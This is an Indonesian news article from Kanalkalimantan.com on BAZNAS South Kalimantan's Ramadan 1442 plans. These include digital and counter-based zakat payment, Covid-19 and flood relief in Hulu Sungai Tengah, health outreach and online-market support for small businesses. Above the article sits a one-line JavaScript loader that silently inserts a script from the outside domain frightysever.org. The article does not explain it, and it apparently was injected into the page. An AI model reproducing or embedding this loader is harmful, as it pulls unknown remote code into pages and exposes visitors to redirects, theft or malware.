(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BAZNAS Kalsel Siapkan Banyak Program Unggulan di Bulan Suci Ramadhan

KANALKALIMANTAN.COM BANJARBARU – Menyambut Ramadan 1442 hijriah, Badan Amil Zakat Nasional (BAZNAS) Kalimatan Selatan telah menyiapkan sejumlah program inovasi demi misi menyentuh semua lapisan masyarakat.

Hal tersebut diungkapkan Ketua Pelaksana Ramadan BAZNAS Kalsel, Sadam Nur Hidayat, bahwa Ramadhan ada banyak program untuk masyarakat. Terlebih di masa pandemi Covid 19 dan pasca bencana banjir di Kalsel awal tahun tadi.

“Kami akan memberikan pelayanan kemudahan untuk berbayar zakat bagi masyarakat. Mulai dari bayar zakat secara digital hingga tatap muka,” ujarnya saat konfrensi pers BAZNAS Kalsel di Roditha Hotel Banjarbaru, Senin (12/4/2021).

BAZNAS Kalsel, kata Sadam, telah bekerjasama dengan website, e-commerce terkenal, dan media flatfom non komersil. Meski begitu masyarakat Kalsel yang budayanya yang lebih merasa afdol saat berzakat dengan bertemu Amil Zakat tetap akan dilayani dengan banyaknya konter zakat di mall, perkantoran, dan ruang publik.

” Ramadhan ini penyaluran zakat BAZNAS Kalsel juga akan diprioritaskan untuk penanganan Covid 19 dan bantuan untuk korban banjir di Hulu Sungai Tengah, nanti akan ada ibadah muslim kit untuk korban banjir di HST, bahan pangan keluarga terdampak Covid 19, makanan sahur dan berbuka bagi masyarakat, dan pembersihan masjid dan Musala,” jelas Sadam kepada awak media.

Program bantuan pangan untuk masyarakat terdampak Pandemi Covid 19 ini tambah Sadam disalurkan kepada semua masyarakat yang terdampak karena akan disalurkan oleh BAZNAS Kabupaten Kota di Kalsel.

Selain itu juga ada program Ramadan sehat ceria dengan adanya penyuluhan kesehatan, pengobatan gratis dan pemberian pangan bergizi. Bantuan ini akan disalurkan kepada kawasan masyarakat rentan miskin.

BAZNAS Kalsel terang Sadam juga sudah sudah membina pelaku UMKM yang dibina BAZNAS Kalsel untuk bisa berjualan dalam pasar online Ramadan. Pelaku UMKM diajarkan untuk dapat berjualan di aplikasi antar jemput barang atau makanan yang mereka jual.

Sementara ketua BAZNAS Kalsel periode 2021 hingga 2026, Irhamsyah Safari mengatakan pengumpulan zakat saat Ramadan biasanya akan meningkat hingga tiga kali lipat dari bulan-bulan lain.

Sedangkan distribusi zakat biasanya dimaksimalkan untuk menyentuh langsung kepada mustahiq. Kita ingin Ramadan ini gerakan cinta zakat lebih sampai ke masyarakat,” ujarnya.(Kanalkalimantan.com/al)

Reporter : Al
Editor : Cell